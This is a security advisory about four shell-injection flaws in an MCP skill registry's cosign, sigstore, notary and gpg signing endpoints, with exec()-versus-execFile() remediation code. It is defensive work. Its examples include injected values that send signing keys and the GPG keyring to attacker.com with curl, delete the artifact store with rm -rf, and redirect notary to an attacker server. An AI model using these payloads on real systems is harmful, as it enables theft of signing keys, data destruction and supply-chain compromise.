Claude MCP skill code injection — skill signing and artifact attestation pipeline endpoints — SA-SKL-INJECTION31
SA-SKL-INJECTION31 documents four shell injection vulnerabilities in MCP skill registry signing and artifact attestation pipeline endpoints. Supply-chain security tooling — cosign, sigstore, notary, and gpg — is invoked from Node.js using child_process.exec() with user-controlled arguments interpolated directly into the shell command string. The signing pipeline is architecturally the most sensitive part of a skill registry: it holds the private keys that vouch for every artifact's authenticity. Injecting commands here does not merely compromise the host — it compromises the trust anchor for every skill package ever signed with the leaked key.
exec(`cosign sign --key ${keyPath} ${imageRef}`); attacker keyPath containing ; cat /etc/secrets/SIGNING_KEY exfiltrates the cosign signing key to the command output logexec(`sigstore attest --predicate ${predicatePath} ${artifactRef}`); attacker predicatePath containing ; rm -rf /app/artifacts destroys the entire artifact storeexec(`notary sign --config ${notaryConfig}`); space-injected --server=https://attacker.com in notaryConfig routes all signing requests to attacker-controlled serverexec(`gpg --sign --local-user ${keyId} ${filePath}`); attacker keyId containing ; gpg --export --armor exports all keys from the registry keyring to the command output logINJECTION31-001 — cosign sign shell injection exfiltrates signing key
The skill signing endpoint invokes cosign to sign a container image: exec(`cosign sign --key ${keyPath} ${imageRef}`). The keyPath parameter, supplied by the user to specify which signing key to use from the organization's key store, is interpolated directly into the shell command string. An attacker who submits keyPath = /keys/my-key.pem; cat /etc/secrets/SIGNING_KEY > /tmp/leak; curl -d @/tmp/leak https://attacker.com causes the shell to execute the semicolon-delimited command sequence: sign with the legitimate key (or fail), then exfiltrate the master signing key to the attacker's server.
The cosign signing key is the cryptographic root of trust for every skill artifact signed by the registry. Exfiltrating it allows the attacker to sign any arbitrary artifact — including a malicious skill package — with a key that all downstream consumers will treat as legitimate. This is not just a server compromise; it is a supply-chain compromise affecting every installation of every skill signed by this registry.
INJECTION31-001 fix: Replace exec() with execFile(), which passes arguments as an array and never invokes a shell. Validate keyPath against an allowlist of KMS key URIs or file paths in the key store directory using realpathSync() containment. Validate imageRef against a digest-only pattern (/^[a-z0-9\.\-\/\:@]{1,500}$/). Never allow user-supplied values to reach the exec() template string.
// WRONG — shell injection via keyPath interpolation
const { exec } = require('child_process');
exec(`cosign sign --key ${req.body.keyPath} ${imageRef}`, callback);
// RIGHT — execFile array arguments, allowlist validation
const { execFile } = require('child_process');
const { realpathSync } = require('fs');
const KEY_STORE_BASE = '/app/keys';
const resolvedKey = realpathSync(req.body.keyPath);
if (!resolvedKey.startsWith(KEY_STORE_BASE + '/')) throw new Error('key path out of key store');
if (!/^[a-z0-9.\-/:@]{1,500}$/.test(imageRef)) throw new Error('invalid imageRef');
execFile('cosign', ['sign', '--key', resolvedKey, imageRef], { env: {} }, callback);
INJECTION31-002 — sigstore attest shell injection destroys artifact store
The attestation endpoint invokes sigstore to create an in-toto attestation for a build artifact: exec(`sigstore attest --predicate ${predicatePath} ${artifactRef}`). The predicatePath argument points to a JSON file containing the SLSA provenance predicate. An attacker who controls predicatePath and sets it to /tmp/predicate.json; rm -rf /app/artifacts causes the shell to delete the entire artifact store after the attestation command runs (or fails). The artifact store is typically not versioned — artifacts are write-once immutable blobs that cannot be regenerated without re-publishing every skill.
INJECTION31-002 fix: Replace exec() with execFile(). Validate predicatePath using realpathSync() containment against the predicates working directory. Validate artifactRef against a digest-only pattern. Write the predicate file to a temporary directory with a UUID name generated server-side, never from user input.
INJECTION31-003 — notary sign argument injection routes signing to attacker server
The notary signing endpoint invokes: exec(`notary sign --config ${notaryConfig}`). The notaryConfig argument specifies the path to a JSON configuration file for the notary client. When a user submits notaryConfig = /app/config/notary.json --server=https://attacker.com/notary, the shell splits on the space, passing both --config /app/config/notary.json and --server=https://attacker.com/notary as arguments to notary. The --server flag overrides the legitimate notary server configured in the JSON file, redirecting all signing requests — including the artifact content and signing context — to the attacker's server.
Unlike the semicolon injection in INJECTION31-001, this is a flag injection that works within the target command's argument parser. It does not require shell metacharacters and would bypass naive sanitization that only strips ;, &, and |. The attacker receives a copy of every artifact submitted for notary signing, along with the full signing context, until the injection is detected.
INJECTION31-003 fix: Replace exec() with execFile() with an argument array. Validate notaryConfig as a path using realpathSync() containment. Pass --server as an explicit fixed argument from server-side configuration, never from user input. Reject any notaryConfig value containing a space character.
// WRONG — space-injected --server flag overrides notary server
exec(`notary sign --config ${req.body.notaryConfig}`, callback);
// user submits: /app/config/notary.json --server=https://attacker.com
// RIGHT — execFile array, --server from server config, path validation
const resolvedConfig = realpathSync(req.body.notaryConfig);
if (!resolvedConfig.startsWith(CONFIG_BASE + '/')) throw new Error('config out of base');
const notaryServer = process.env.NOTARY_SERVER_URL; // from server-side config only
execFile('notary', ['sign', '--config', resolvedConfig, '--server', notaryServer], { env: {} }, callback);
INJECTION31-004 — gpg sign shell injection exports entire keyring
The GPG signing endpoint invokes: exec(`gpg --sign --local-user ${keyId} ${filePath}`). The keyId parameter specifies which GPG key to use by fingerprint or email. An attacker who submits keyId = DEADBEEF01234567; gpg --export --armor > /tmp/keyring.asc; curl -d @/tmp/keyring.asc https://attacker.com causes the shell to execute the legitimate sign command and then export the entire GPG keyring — including all public and secret keys — to the attacker's server. GPG keyrings in a skill registry context typically contain the organization's code-signing key, used to sign every skill release. Exfiltrating the secret key ring gives the attacker the ability to sign arbitrary artifacts as the organization.
INJECTION31-004 fix: Replace exec() with execFile(). Validate keyId against a strict pattern: /^[0-9A-F]{16,40}$/i (fingerprint hex only). Validate filePath using realpathSync() containment. Use --batch --no-tty flags to prevent GPG from prompting interactively. Run GPG with a dedicated GNUPGHOME directory containing only the registry signing key, not the full system keyring.
SkillAudit scans for child_process.exec() with interpolated path or key arguments across all signing pipeline invocations, and flags missing realpathSync containment and absent execFile() array argument patterns in your MCP skill registry codebase.
| Finding | Severity | Signing tool | Injection vector / Impact |
|---|---|---|---|
| INJECTION31-001 | CRITICAL | cosign sign | keyPath semicolon injection → signing key exfiltration; supply-chain trust anchor compromised |
| INJECTION31-002 | CRITICAL | sigstore attest | predicatePath semicolon injection → entire artifact store deleted |
| INJECTION31-003 | CRITICAL | notary sign | notaryConfig space injection of --server flag → all signing artifacts routed to attacker server |
| INJECTION31-004 | CRITICAL | gpg --sign | keyId semicolon injection → full GPG keyring exported to attacker |
See also: SA-SKL-INJECTION30 (build compilation pipeline shell injection patterns) and SA-SKL-INJECTION29 (linting and formatting tool injection) for the broader shell injection attack surface across the MCP skill registry CI/CD pipeline.